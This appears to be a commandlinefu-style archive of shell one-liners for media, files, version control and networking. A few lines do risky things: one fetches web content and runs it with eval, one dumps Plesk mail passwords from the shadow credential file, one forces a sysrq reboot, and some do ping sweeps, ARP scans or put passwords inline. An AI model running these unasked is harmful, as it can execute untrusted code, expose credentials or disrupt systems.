curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"...............



# A command to post a message and an auto-shortened link to Twitter. The link shortening service is provide by TinyURL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null

# Watch the size of a directory using figlet
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"

# prints line numbers
ls | sed "/^/=" | sed "N;s/\n/. /"

# Colorful man
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu

# Lists installed kernels
dpkg --get-selections | grep linux-image

# Convert PDF to JPEG using Ghostscript
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf

# Setup a persistant SSH tunnel w/ pre-shared key authentication
autossh -f -i /path/to/key -ND local-IP:PORT User@Server

# Get your public ip
curl -s http://icanhazip.com/

# A command line calculator in Perl
perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'

# Check reverse DNS
host {checkIp or hostname} [dns server]

# Slightly better compressed archives
find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2

# Replace Caps-lock with Control-key
xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'

# Another Matrix Style Implementation
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done

# Create sqlite db and store image
sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg

# Tar - Compress by excluding folders
tar -cvzf arch.tgz $(find /path/dir -not -type d)

# Write a listing of all directories and files on the computer to a compressed file.
sudo ls -RFal / | gzip > all_files_list.txt.gz

# hanukkah colored bash prompt
export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "

# Analyse compressed Apache access logs for the most commonly requested pages
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20

# extract plain text from MS Word docx files
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'

# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons

# Get your public ip
curl -s http://sputnick-area.net/ip

# View a random xkcd comic
wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'

# recursive search and replace old with new string, inside files
find . -type f -exec sed -i s/oldstring/newstring/g {} +

# copy ACL of one file to another using getfacl and setfacl
getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>

# determine if tcp port is open
nmap -p 80 hostname



# prints line numbers
cat -n

# Router discovery
sudo arp-scan 192.168.1.0/24 -interface eth0

# View the newest xkcd comic.
wget `lynx --dump http://xkcd.com/|grep png`

# Strace all signals processes based on a name ( The processes already started... )
straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }

# Find dead symbolic links
find . -type l | perl -lne 'print if ! -e'

# last.fm rss parser
awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file

# last.fm rss parser
egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'

# Get names of files in /dev, a USB device is attached to
ls -la /dev/disk/by-id/usb-*

# Mount a partition from dd disk image
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path

# List all symbolic links in current directory
\ls -1 | xargs -l readlink

# remove files and directories with acces time older than a given date
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy

# Show sorted list of files with sizes more than 1MB in the current dir
du | sort -nr | cut -f2- | xargs du -hs

# exit if another instance is running
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi

# Short Information about loaded kernel modules
lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'

# advanced bash history
export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000

# convert wav files to ogg
oggenc *.wav

# Find files recursively that were updated in the last hour ignoring SVN files and folders.
find . -mmin -60 -not -path "*svn*" -print|more

# Decode a MIME message
munpack file.txt

# Sort movies by length, longest first
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'

# Clean your broken terminal
reset

# Create a thumbnail from a video file
thumbnail() { ffmpeg  -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }

# geoip information
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }

# convert a latex source file (.tex)  into opendocument (.odt ) format
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"

# List the CPU model name
grep "model name" /proc/cpuinfo

# Get your external IP address with a random commandlinefu.com command
IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"



# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
dh() { du -ch --max-depth=1 "${@-.}"|sort -h }

# Quick notepad
cat > list -

# Postpone a command [zsh]
<alt+q>

# Counts number of lines (in source code excluding comments)
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l

# List your largest installed packages (on Debian/Ubuntu)
dpigs

# What is my ip?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'

# grep -v with multiple patterns.
sed -n '/test/{/error\|critical\|warning/d;p}' somefile

# Empty a file
truncate -s0 file

# Set creation timestamp of a file to the creation timestamp of another
touch -r "$FILE1" "$FILE2"

# Commit command to history file immedeately after execution
PROMPT_COMMAND="history -a"

# Restore a local drive from the image on remote host via ssh
ssh user@server 'dd if=sda.img' | dd of=/dev/sda

# Make directories for and mount all iso files in a folder
for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`;  done

# disk space email alert
[ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com

# Get absolut path to your bash-script
script_path=$(cd $(dirname $0);pwd)

# Stop long commands wrapping around and over-writing itself in the Bash shell
shopt -s checkwinsize

# download all the presentations from UTOSC2009
b="http://2009.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done

# Functions to display, save and restore $IFS
ifs () { echo -n "${IFS}"|hexdump -e '""  10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"

# Outputs a 10-digit random number
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'

# print crontab entries for all the users that actually have a crontab
for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done

# mysql DB size
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'

# Force an fsck on reboot
shutdown -rF now

# Get a MySQL DB dump from a remote machine
ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql

# Encrypted archive with openssl and tar
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3

# concatenate avi files
avimerge -o output.avi -i file1.avi file2.avi file3.avi

# Go get those photos from a Picasa album
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -



# Disable beep sound from your computer
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf

# limit the cdrom driver to a specified speed
eject -x 8 /dev/cdrom

# Randomize lines (opposite of | sort)
random -f <file>

# ping a host until it responds, then play a sound, then exit
beepwhenup () { echo 'Enter host you want to ping:'; read PHOST; if [[ "$PHOST" == "" ]]; then exit; fi; while true; do ping -c1 -W2 $PHOST 2>&1 >/dev/null; if [[ "$?" == "0" ]]; then for j in $(seq 1 4); do beep; done; ping -c1 $PHOST; break; fi; done; }

# Sum size of files returned from FIND
find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}'

# record the input of your sound card into ogg file
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg

# Test a serial connection
host A: cat /proc/dev/ttyS0    host B: echo hello > /dev/ttyS0

# Show current pathname in title of terminal
export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'

# print all except first collumn
cut -f 2- -d " "

# Search for a <pattern> string inside all files in the current directory
find . -type f -exec grep -i <pattern> \;

# Find and display most recent files using find and perl
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail

# create SQL-statements from textfile with awk
$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt

# Send a local file via email
cat filename | mail -s "Email subject" user@example.com

# Track X Window events in chosen window
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`

# Test file system performance
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>

# (Git) Revert files with changed mode, not content
git diff --numstat | awk '{if ($1 == "0" && $1 == "0") print $3}'  | xargs git checkout HEAD

# Instant mirror from your laptop + webcam
mplayer tv:// -vf mirror

# Instant mirror from your laptop + webcam
cvlc  v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &

# Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks
curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"

# Archive all SVN repositories in platform indepenent form
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done

# Archive all SVN repositories in platform indepenent form
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done

# Record audio and video from webcam using ffmpeg
ffmpeg -f alsa -r 16000 -i hw:2,0 -f video4linux2 -s 800x600 -i /dev/video0 -r 30 -f avi -vcodec mpeg4 -vtag xvid -sameq -acodec libmp3lame -ab 96k output.avi

# Setting reserved blocks percentage to  1%
sudo tune2fs -m 1 /dev/sda4

# preprocess code to be posted in comments on this site
sed 's/^/$ /' "$script" | xclip

# List symbols from a dynamic library (.so file)
nm --dynamic <libfile.so>



# send echo to socket network
echo foo | netcat 192.168.1.2 25

# Display the standard deviation of a column of numbers with awk
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'

# Convert a flv video file to avi using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi

# Compute running average for a column of numbers
awk '{avg += ($1 - avg) / NR;} END { print avg; }'

# Route outbound SMTP connections through a addtional IP address rather than your primary
iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH

# Check if x509 certificate file and rsa private key match
diff <(openssl x509 -noout -modulus -in server.crt ) <( openssl rsa -noout -modulus -in server.key )

# Detect encoding of a text file
file -i <textfile>

# Clone IDE Hard Disk
sudo dd if=/dev/hda1 of=/dev/hdb2

# Send a signed and encrypted email from the command line
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM

# get colorful side-by-side diffs of files in svn with vim
vimdiff <(svn cat "$1") "$1"

# fetch all revisions of a specific file in an SVN repository
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s

# Ultimate current directory usage command
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done

# Start a terminal with three open tabs
gnome-terminal --tab --tab --tab

# Edit all files found having a specific string found by grep
grep -Hrli 'foo' * | xargs vim

# floating point operations in shell scripts
bc -l <<< s(3/5)

# Reinstall Grub
sudo grub-install --recheck /dev/sda1

# Print all fields in a file/output from field N to the end of the line
cut -f N- file.dat

# convert mp3 into mb4 (audiobook format)
mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -

# A snooze button for xmms2 alarm clock
xmms2 pause && echo "xmms2 play" | at now +5min

# dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar .
dstat -afv

# get diskusage of files modified during the last n days
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1

# Download entire commandlinefu archive to single file
for x in `seq 0 25 $(curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1)`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done > a.txt

# Debian: Mark all dependent packages as manualy installed.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)

# An alarm clock using xmms2 and at
echo "xmms2 play" | at 6:00

# Parallel mysql dump restore
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"



# convert strings toupper/tolower with tr
echo "aBcDeFgH123" | tr a-z A-Z

# resume scp-filetransfer with rsync
rsync --partial --progress --rsh=ssh user@host:remote-file local-file

# Unaccent an entire directory tree with files.
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done

# Make a ready-only filesystem ?writeable? by unionfs
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs

# Verbosely delete files matching specific name pattern, older than 15 days.
rm -vf /backup/directory/**/FILENAME_*(m+15)

# Ping sweep without NMAP
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done

# Show account security settings
chage -l <user>

# Search for an active process without catching the search-process
ps -ef | awk '/process-name/ && !/awk/ {print}'

# Read aloud a text file in Ubuntu (and other Unixes with espeak installed
espeak -f text.txt

# Read aloud a text file in Mac OS X
say -f file.txt

# diff will usually only take one file from STDIN. This is a method to take the result of two streams and compare with diff. The example I use to compare two iTunes libraries but it is generally applicable.
diff <(cd /path-1; find . -type f -print | egrep -i '\.m4a$|\.mp3$') <(cd /path-2; find . f -print | egrep -i '\.m4a$|\.mp3$')

# total text files in current dir
file -i * | grep -c 'text/plain'

# Compress blank lines in VIM
:g/^\s*$/,/\S/-j|s/.*//

# Lists the size of certain file in every 10 seconds
watch -n 10 'du -sk testfile'

# show the real times iso of epochs for a given column
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log

# Preview of a picture in a terminal
img test.jpg

# Get info on RAM Slots and Max RAM.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size

# Sum columns from CSV column $COL
perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv

# Testing php configuration
php -r phpinfo();

# Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'

# Replace Every occurrence of a word in a file
perl -p -i -e 's/this/that/g' filename

# Update program providing java on Debian
update-java-alternatives

# Get a list of all your VirtualBox virtual machines by name and UUID from the shell
VBoxManage list vms

# run a VirtualBox virtual machine without a gui
VBoxHeadless -s <name|uuid>

# Generate random password
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}



# Get your internal IP address and nothing but your internal IP address
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'

# Delete empty directories with zsh
rm -d **/*(/^F)

# Tweet from Terminal to twitter !
curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml

# Quick key/value display within /proc or /sys
grep -r . /sys/class/net/eth0/statistics

# Use Linux coding style in C program
indent -linux helloworld.c

# echo something backwards
echo linux|rev

# Nicely display permissions in octal format with filename
stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev

# Delete all aliases for a network interface on a (Free)BSD system
ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete

# Show log message including which files changed for a given commit in git.
git --no-pager whatchanged -1 --pretty=medium <commit_hash>

# Copy with progress
copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}

# Grab all .flv files from a webpage to the current working directory
wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'`

# from the console, start a second X server
xinit -- :1

# cooking a list of numbers for calculation
echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'

# Force hard reset on server
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger

# ISO info
isoinfo -d -i filename.iso

# rename a file to its md5sum
md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done

# Make shell (script) low priority. Use for non interactive tasks
renice 19 -p $$

# Mount iso to /mnt on Solaris
mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt

# Make ogg file from wav file
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'

# Buffer in order to avoir mistakes with redirections that empty your files
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }

# Change to $HOME - zsh, bash4
~

# Run skype using your GTK theme
skype --disable-cleanlooks -style GTK

# Pick a random line from a file
sort -R file.txt | head -1

# Simple XML tag extract with sed
sed -n 's/.*<foo>\([^<]*\)<\/foo>.*/\1/p'

# Display screen window number in prompt
[[ "$WINDOW" ]] && PS1="\u@\h:\w[$WINDOW]\$ "



# Convert numbers to SI notation
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat

# get delicious bookmarks on your shell (text version :-))
curl -u 'username'   https://api.del.icio.us/v1/posts/all   |  sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'

# Matrix Style
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")

# restart apache only if config works
alias restart='apache2ctl configtest && apache2ctl restart'

# List apache2 virtualhosts
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'

# OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard.
pbpaste | tidy -xml -wrap 0 | pbcopy

# this toggles mute on the Master channel of an alsa soundcard
amixer sset Master toggle

# whois surfing my web ?
watch lsof -i :80

# Single Line Twitter-Tracker
WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done

# git remove files which have been deleted
git ls-files -z --deleted | xargs -0 git rm

# find out which directories in /home have the most files currently open
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|uniq -c|sort -bgr

# Hear the mice moving
while true; do beep -l66 -f`head -c2 /dev/input/mice|hexdump -d|awk 'NR==1{print $2%10000}'`; done

# write text or append to a file
cat <<.>> somefilename

# Printing multiple years with Unix cal command
for y in $(seq 2009 2011); do cal $y; done

# Alternative size (human readable) of files and directories (biggest last)
du -ms * | sort -nk1

# cat large file to clipboard with speed-o-meter
pv large.xml | xclip

# Remove annoying files from recently extracted zip archive
unzip -lt foo.zip  | grep testing | awk '{print $2}' | xargs rm -r

# Puts every word from a file into a new line
tr ' \t' '\n' <INFILE >OUTFILE

# find files larger than 1 GB, everywhere
find / -type f -size +1000000000c

# Resume an emerge, and keep all object files that are already built
FEATURES=keepwork emerge --resume

# Throttling Bandwidth On A Mac
sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80

# Dump the root directory to an external hard drive
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /

# Using netcat to copy files between servers
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"

# Dump a configuration file without comments or whitespace...
grep -v "\ *#\|^$" /etc/path/to.config

# c_rehash replacement
for file in *.pem; do ln -s $file `openssl x509 -hash -noout -in $file`.0; done



# Check if filesystem hangs
ls /mnt/badfs &

# Trim linebreaks
cat myfile.txt | tr -d '\n'

# SVN Status log to CSV
svn log |  tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g

# Monitor RX/TX packets and any subsquent errors
watch 'netstat -aniv'

# Most simple way to get a list of open ports
netstat -lnp

# Merge several pdf files into a single file
pdftk $* cat output $merged.pdf

# Get lines count of a list of files
find . -name "*.sql" -print0 | wc -l --files0-from=-

# Given application name print its environment variables
sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox

# Deleting Files from svn which are missing
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force

# Record a webcam output into a video file.
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi

# %s across multiple files with Vim
:set nomore   :argdo %s/foo/bar/g | update

# import gpg key from the web
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import

# Give any files that don't already have it group read permission under the current folder (recursive)
find . -type f ! -perm /g=r -exec chmod g+r {} +

# Recursive cat - concatenate files (filtered by extension) across multiple subdirectories into one file
find . -type f -name *.ext -exec cat {} > file.txt \;

# Lists unambigously names of all xml elements used in files in current directory
grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-

# Search and replace text in all php files with ruby
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

# Do quick arithmetic on numbers from STDIN with any formatting using a perl one liner.
perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'

# extract all urls from firefox sessionstore
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g"  sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt

# Show all usernames and passwords for Plesk email addresses
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"

# Display or use a random file from current directory via a small bash one-liner
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}

# Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab 64 -ac 2 [destination].mp4

# Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info and iwconfig on wireless interface "wlan0"
watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"

# swap stdout and stderr
$command 3>&1 1>&2 2>&3

# ncdu - ncurses disk usage
ncdu directory_name

# Run a bash script in debug mode, show output and save it on a file
bash -x script.sh 2> log



# files and directories in the last 1 hour
find ./* -ctime -1 | xargs ls -ltr --color

# Non Numeric Check
if [ -z $(echo $var | grep [0-9]) ]; then echo "NON NUMERIC"; fi

# Find chronological errors or bad timestamps in a Subversion repository
URL=http://svn.example.org/project; diff -u <(TZ=UTC svn -q log -r1:HEAD $URL | grep \|) <(TZ=UTC svn log -q $URL | grep \| | sort -k3 -t \|)

# resolve hostname to IP our vice versa with less output
resolveip -s www.freshmeat.net

# Remove all mail in Postfix mail queue.
postsuper -d ALL

# Scrollable Colorized Long Listing - Hidden Files Sorted Last
less -Rf <( cat <(ls -l --color=always) <(ls -ld --color=always .*) )

# Awk: Perform a rolling average on a column of data
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat

# grep across a git repo and open matching files in gedit
git grep -l "your grep string" | xargs gedit

# Replace all tabs with spaces in an application
grep -PL "\t" -r . |  grep -v ".svn" | xargs sed -i 's/\t/    /g'

# Convert string to uppercase
echo string | tr '[:lower:]' '[:upper:]'

# List of directories sorted by number of files they contain.
sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;)

# fetch all revisions of a specific file in an SVN repository
svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh

# mplayer -af scaletempo
mplayer -af scaletempo -speed 1.5 file.avi

# extracting audio and video from a movie
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3

# Extract track 9 from a CD
mplayer -fs cdda://9 -ao pcm:file=track9.wav

# Word-based diff on reformatted text files
diff -uw <(fmt -1 {file1, file2})

# Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)
Type "c-a b" in gnu screen after updating your .screenrc (See Description below).

# using scanner device from command line
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm

# reduce mp3 bitrate (and size, of course)
lame --mp3input -m m --resample 24 input.mp3

# extract audio from flv to mp3
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3

# Lists the supported memory types and how much your board can support.
sudo dmidecode -t 5,16

# Update a tarball
tar -tf file.tar | tar -T - -uf file.tar

# get a process list by listen port
netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1

# find string into one pdf file
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"

# user 'tr' to convert mixed case in a file to lower case
tr "[:upper:]" "[:lower:]" < file



# Backup your OpenWRT config (only the config, not the whole system)
curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz

# Email HTML content
mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm

# convert all files in a dir of a certain type to flv
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done

# Validate date, also a date within a leap year
date -d2009-05-18 > /dev/null 2>&1 ; echo $?

# remove audio trac from a video file
